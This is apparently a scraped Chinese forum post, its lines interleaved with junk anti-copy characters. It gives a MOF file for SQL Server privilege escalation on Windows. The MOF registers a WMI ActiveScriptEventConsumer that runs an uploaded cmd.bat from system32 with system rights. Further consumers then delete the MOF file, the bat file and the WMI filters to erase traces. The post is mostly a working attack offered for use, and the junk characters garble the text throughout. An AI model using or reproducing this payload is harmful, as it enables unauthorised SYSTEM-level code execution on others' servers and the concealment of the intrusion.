这个sql提权MOF需要运行 system下的文件,不能定义路径。
8 w y0 ^$ |* B# a需要将要运行的命令写入到bat上传到system32目录,然后执行。0 p `) x M+ |- u p7 @
) g: H+ P. o, i2 B' Z
这个sql提权MOF需要运行 system下的文件,不能定义路径。+ A+ w0 Q/ R7 s+ a. X9 { l/ v
需要将要运行的命令写入到bat上传到system32目录,然后执行。
7 I/ O/ o' @/ z* j5 _9 s @/ |7 g3 A0 `* Q1 M3 A+ A S
#pragma" `9 @8 {1 K& b
namespace("\\\\.\\root\\cimv2")
& _5 I; M" R; F& B class3 ~. F* T& ^- s6 |9 I
MyClass547
3 U3 z, ~5 ]9 d { [key]
, E' l5 S2 @+ J; B$ c# f, V8 T string
; e( f4 e! j1 |0 J8 y# U Name;$ d. ]! l) |$ s! S+ D- n* j: {
};
8 n4 Y- @7 `# x l2 P class
, C" q Z2 d: k3 B2 S5 B: t ActiveScriptEventConsumer
# K; U6 _" x9 D8 [* V : __EventConsumer { [key]
: ^$ r# w" ]/ Y. a, n string+ h2 o' J' A2 ~
Name; [not_null]
/ R1 r$ {" [0 H string
0 x) e! P7 }; R' j ScriptingEngine; string
6 K) u7 y: {$ b+ d( n1 V ScriptFileName; [template]: l2 b6 T# P% }/ z1 _0 K
string
6 ~! N3 ?6 T, p/ j& j ScriptText; uint32 KillTimeout;
9 m) s& G* K( ~4 A }; instance of __Win32Provider as $P {1 G" F' z p' [ t
Name0 B: Z, ]8 ], o4 ^8 F) z* L& E8 Z0 c
=( j( v$ N# \: D9 }) x) u) \& A
"ActiveScriptEventConsumer"; CLSID =
- v9 G8 R) C: O. U Y9 D "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
; P0 x2 i7 H( K' r+ k PerUserInitialization
2 a# y0 y3 B* I" ]: J = TRUE;9 T6 t ?5 \" g3 f% d+ f" M
}; instance of __EventConsumerProviderRegistration { Provider
& X& T; U. r- [6 y+ m" j7 e7 L = $P; ConsumerClassNames9 X) U; D/ j# }* Q3 `
=
/ V2 D/ ?$ j. y: Q! p* { {"ActiveScriptEventConsumer"};
+ ~5 B1 s0 c5 U) |- t% ~: i };3 w% p- }# D0 u9 ]; P& H0 e j
Instance of ActiveScriptEventConsumer1 h, N) z C9 J0 ^4 f
as $cons { Name8 J2 ~! ^# S$ R+ l# G
=: p: {( I9 Y- g+ y3 ?, A$ u
"ASEC"; ScriptingEngine
0 T% v c6 M4 P) z =0 L U* r( Y4 q9 j+ f2 h
"JScript"; ScriptText0 n9 ` c; t0 U
=
# d& x# ]8 n) [' o3 Q8 o& ~ "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };+ d8 N6 i: n$ |% Y( b
Instance of ActiveScriptEventConsumer, b1 K* E. S) S3 D) w
as $cons2 { Name- L( ]8 Y u+ k/ \, z
=! A+ J5 z3 C. n! L, n* O+ d5 [/ m
"qndASEC"; ScriptingEngine, T( |- B7 f" V( n) z) U
=
1 t# b N: \" t% t- f1 r, T "JScript"; ScriptText: V7 ?+ }* I4 k9 I7 V
=
3 [- s1 R- i+ `4 O; \* W "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
8 ^ A$ d; b: {3 k: V2 {! u }; instance of __EventFilter as $Filt { Name
) }; }! d6 l3 ^; Y" R =
. P/ j3 x. s$ t' s "instfilt"; Query
2 u! k# W. f+ f# n) g. b4 R. I =7 v! l( y) r0 Z0 h9 H5 w8 e
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage; X: j( }( {7 `. V' v( j
= r; C+ _; S; i. w, c- r2 `
"WQL"; }; instance of __EventFilter as $Filt2 { Name; F* a+ {0 z* i
=
4 ~ m1 Q8 O5 Z: X. `7 m "qndfilt"; Query
2 |, u. ?; V1 o9 y( z =* @ u4 T: H8 s% M5 j( X: e
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage+ h" X/ u k' s' f2 l% c% G
=- ?- ~3 l9 P0 c7 m, W9 J( k
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer. N# Q" i" J& a0 l
= $cons; Filter
- {& j7 F( _1 ^$ d = $Filt;
: d/ V( L5 C, B; y+ ?) X }; instance of __FilterToConsumerBinding as $bind2 { Consumer3 n6 b7 d, {2 p5 i$ g% j
= $cons2; Filter1 i8 }6 H! C; _0 o3 L
= $Filt2;: Q& N' Q. o; t( I$ f
}; instance of MyClass547
7 K' b; H1 f6 c2 P# C" A as $MyClass { Name' e+ l- x/ Q% G& u% C1 @3 M0 U5 J
=
! `! }3 D6 C, N: _ "ClassConsumer";
& p2 t( a1 A2 u( |% ?9 t5 {0 B7 G* ` }; |